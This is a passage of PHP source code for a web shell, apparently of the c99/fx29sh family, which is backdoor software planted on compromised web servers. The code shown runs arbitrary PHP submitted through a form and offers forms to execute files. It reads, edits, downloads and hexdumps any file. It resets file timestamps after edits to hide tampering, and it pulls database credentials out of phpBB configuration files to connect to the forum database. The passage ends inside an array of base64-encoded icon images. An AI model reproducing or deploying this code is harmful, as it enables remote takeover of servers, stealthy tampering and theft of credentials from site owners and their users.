  1931.     usort($prcs,"tabsort");
  1932.     if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
  1933.     $tab = array();
  1934.     $tab[] = $head;
  1935.     $tab = array_merge($tab,$prcs);
  1936.     echo "<table class=explorer>\n";
  1937.     foreach($tab as $i=>$k) {
  1938.       echo "<tr>";
  1939.       foreach($k as $j=>$v) {
  1940.         if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
  1941.         echo "<td>".$v."</td>";
  1942.       }
  1943.       echo "</tr>\n";
  1944.     }
  1945.     echo "</table>";
  1946.   }
  1947. }
  1948. if ($act == "eval") {
  1949.   if (!empty($eval)) {
  1950.     echo "Result of execution this PHP-code:<br>";
  1951.     $tmp = @ob_get_contents();
  1952.     $olddir = realpath(".");
  1953.     @chdir($d);
  1954.     if ($tmp) {
  1955.       @ob_clean();
  1956.       eval($eval);
  1957.       $ret = @ob_get_contents();
  1958.       $ret = convert_cyr_string($ret,"d","w");
  1959.       @ob_clean();
  1960.       echo $tmp;
  1961.       if ($eval_txt) {
  1962.         $rows = count(explode("\r\n",$ret))+1;
  1963.         if ($rows < 10) {$rows = 10;}
  1964.         echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1965.       }
  1966.       else {echo $ret."<br>";}
  1967.     }
  1968.     else {
  1969.       if ($eval_txt) {
  1970.         echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
  1971.         eval($eval);
  1972.         echo "</textarea>";
  1973.       }
  1974.       else {echo $ret;}
  1975.     }
  1976.     @chdir($olddir);
  1977.   }
  1978.   else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  1979.   echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  1980. }
  1981. if ($act == "f") {
  1982.   echo "<div align=left>";
  1983.   if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  1984.     if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  1985.     else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  1986.   }
  1987.   else {
  1988.     $r = @file_get_contents($d.$f);
  1989.     $ext = explode(".",$f);
  1990.     $c = count($ext)-1;
  1991.     $ext = $ext[$c];
  1992.     $ext = strtolower($ext);
  1993.     $rft = "";
  1994.     foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  1995.     if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  1996.     if (empty($ft)) {$ft = $rft;}
  1997.     $arr = array(
  1998.         array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  1999.         array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2000.         array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2001.         array("Code","code"),
  2002.         array("Session","phpsess"),
  2003.         array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2004.         array("SDB","sdb"),
  2005.         array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2006.         array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2007.         array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2008.         array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2009.         array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2010.     );
  2011.     echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2012.     foreach($arr as $t) {
  2013.       if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2014.       elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2015.       else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2016.       echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2017.     }
  2018.     echo "<hr size=\"1\" noshade>";
  2019.     if ($ft == "info") {
  2020.       echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2021.       if (!$win) {
  2022.         echo "<tr><td><b>Owner/Group</b></td><td> ";
  2023.         $ow = posix_getpwuid(fileowner($d.$f));
  2024.         $gr = posix_getgrgid(filegroup($d.$f));
  2025.         echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2026.       }
  2027.       echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2028.       $fi = fopen($d.$f,"rb");
  2029.       if ($fi) {
  2030.         if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2031.         else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2032.         $n = 0;
  2033.         $a0 = "00000000<br>";
  2034.         $a1 = "";
  2035.         $a2 = "";
  2036.         for ($i=0; $i<strlen($str); $i++) {
  2037.           $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2038.           switch (ord($str[$i])) {
  2039.             case 0:  $a2 .= "<font>0</font>"; break;
  2040.             case 32:
  2041.             case 10:
  2042.             case 13: $a2 .= "&nbsp;"; break;
  2043.             default: $a2 .= htmlspecialchars($str[$i]);
  2044.           }
  2045.           $n++;
  2046.           if ($n == $hexdump_rows) {
  2047.             $n = 0;
  2048.             if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2049.             $a1 .= "<br>";
  2050.             $a2 .= "<br>";
  2051.           }
  2052.         }
  2053.         echo "<table border=1 bgcolor=#666666>".
  2054.              "<tr><td bgcolor=#666666>".$a0."</td>".
  2055.              "<td bgcolor=#000000>".$a1."</td>".
  2056.              "<td bgcolor=#000000>".$a2."</td>".
  2057.              "</tr></table><br>";
  2058.       }
  2059.       $encoded = "";
  2060.       if ($base64 == 1) {
  2061.         echo "<b>Base64 Encode</b><br>";
  2062.         $encoded = base64_encode(file_get_contents($d.$f));
  2063.       }
  2064.       elseif($base64 == 2) {
  2065.         echo "<b>Base64 Encode + Chunk</b><br>";
  2066.         $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2067.       }
  2068.       elseif($base64 == 3) {
  2069.         echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2070.         $encoded = base64_encode(file_get_contents($d.$f));
  2071.         $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2072.       }
  2073.       elseif($base64 == 4) {
  2074.         $text = file_get_contents($d.$f);
  2075.         $encoded = base64_decode($text);
  2076.         echo "<b>Base64 Decode";
  2077.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2078.     echo "</b><br>";
  2079.    }
  2080.    if (!empty($encoded))
  2081.    {
  2082.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2083.    }
  2084.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2085.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2086.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2087.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2088.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2089.        <P>";
  2090.   }
  2091.   elseif ($ft == "html") {
  2092.    if ($white) {@ob_clean();}
  2093.    echo $r;
  2094.    if ($white) {fx29shexit();}
  2095.   }
  2096.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2097.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2098.   elseif ($ft == "phpsess") {
  2099.    echo "<pre>";
  2100.    $v = explode("|",$r);
  2101.    echo $v[0]."<br>";
  2102.    var_dump(unserialize($v[1]));
  2103.    echo "</pre>";
  2104.   }
  2105.   elseif ($ft == "exe") {
  2106.    $ext = explode(".",$f);
  2107.    $c = count($ext)-1;
  2108.    $ext = $ext[$c];
  2109.    $ext = strtolower($ext);
  2110.    $rft = "";
  2111.    foreach($exeftypes as $k=>$v)
  2112.    {
  2113.     if (in_array($ext,$v)) {$rft = $k; break;}
  2114.    }
  2115.    $cmd = str_replace("%f%",$f,$rft);
  2116.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2117.   }
  2118.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2119.   elseif ($ft == "code") {
  2120.     if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2121.       $arr = explode("\n",$r);
  2122.       if (count($arr == 18)) {
  2123.         include($d.$f);
  2124.         echo "<b>phpBB configuration is detected in this file!<br>";
  2125.         if ($dbms == "mysql4") {$dbms = "mysql";}
  2126.         if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2127.         else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2128.         echo "Parameters for manual connect:<br>";
  2129.         $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2130.         foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2131.         echo "</b><hr size=\"1\" noshade>";
  2132.       }
  2133.     }
  2134.     echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2135.     if (!empty($white)) {@ob_clean();}
  2136.     highlight_file($d.$f);
  2137.     if (!empty($white)) {fx29shexit();}
  2138.     echo "</div>";
  2139.   }
  2140.   elseif ($ft == "download") {
  2141.     @ob_clean();
  2142.     header("Content-type: application/octet-stream");
  2143.     header("Content-length: ".filesize($d.$f));
  2144.     header("Content-disposition: attachment; filename=\"".$f."\";");
  2145.     echo $r;
  2146.     exit;
  2147.   }
  2148.   elseif ($ft == "notepad") {
  2149.     @ob_clean();
  2150.     header("Content-type: text/plain");
  2151.     header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2152.     echo($r);
  2153.     exit;
  2154.   }
  2155.   elseif ($ft == "img") {
  2156.     $inf = getimagesize($d.$f);
  2157.     if (!$white) {
  2158.       if (empty($imgsize)) {$imgsize = 20;}
  2159.       $width = $inf[0]/100*$imgsize;
  2160.       $height = $inf[1]/100*$imgsize;
  2161.       echo "<center><b>Size:</b>&nbsp;";
  2162.       $sizes = array("100","50","20");
  2163.       foreach ($sizes as $v) {
  2164.         echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2165.         if ($imgsize != $v ) {echo $v;}
  2166.         else {echo "<u>".$v."</u>";}
  2167.         echo "</a>&nbsp;&nbsp;&nbsp;";
  2168.       }
  2169.       echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2170.     }
  2171.     else {
  2172.       @ob_clean();
  2173.       $ext = explode($f,".");
  2174.       $ext = $ext[count($ext)-1];
  2175.       header("Content-type: ".$inf["mime"]);
  2176.       readfile($d.$f);
  2177.       exit;
  2178.     }
  2179.   }
  2180.   elseif ($ft == "edit") {
  2181.    if (!empty($submit))
  2182.    {
  2183.     if ($filestealth) {$stat = stat($d.$f);}
  2184.     $fp = fopen($d.$f,"w");
  2185.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2186.     else
  2187.     {
  2188.      echo "<b>Saved!</b>";
  2189.      fwrite($fp,$edit_text);
  2190.      fclose($fp);
  2191.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2192.      $r = $edit_text;
  2193.     }
  2194.    }
  2195.    $rows = count(explode("\r\n",$r));
  2196.    if ($rows < 10) {$rows = 10;}
  2197.    if ($rows > 30) {$rows = 30;}
  2198.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2199.   }
  2200.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2201.   else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
  2202. }
  2203. echo "</div>\n";
  2204. }
  2205. }
  2206. else {
  2207. @ob_clean();
  2208. $images = array(
  2209. "arrow_ltr"=>
  2210. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2211. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2212. "back"=>
  2213. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2214. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2215. "Wg0JADs=",
  2216. "buffer"=>
  2217. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2218. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2219. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2220. "change"=>
  2221. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2222. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2223. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2224. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2225. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2226. "zMshADs=",
  2227. "delete"=>
  2228. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2229. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2230. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2231. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2232. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2233. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2234. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2235. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2236. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2237. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2238. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2239. "download"=>
  2240. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2241. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2242. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2243. "forward"=>
  2244. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2245. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2246. "WqsJADs=",
  2247. "home"=>
  2248. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2249. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2250. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2251. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2252. "mode"=>
  2253. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2254. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2255. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2256. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2257. "search"=>
  2258. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2259. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2260. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2261. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2262. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2263. "setup"=>
  2264. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2265. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2266. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2267. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2268. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2269. "small_dir"=>
  2270. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2271. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2272. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2273. "small_unk"=>
  2274. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2275. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2276. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2277. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2278. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2279. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2280. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2281. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2282. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2283. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2284. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2285. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2286. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2287. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2288. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2289. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2290. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2291. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2292. "yAsokBkQADs=",
  2293. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2294. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2295. "sort_asc"=>
  2296. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2297. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2298. "sort_desc"=>
  2299. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2300. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2301. "sql_button_drop"=>
  2302. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2303. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2304. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2305. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2306. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2307. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2308. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2309. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2310. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2311. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2312. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2313. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2314. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2315. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2316. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2317. "AQEAOw==",
  2318. "sql_button_empty"=>
  2319. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
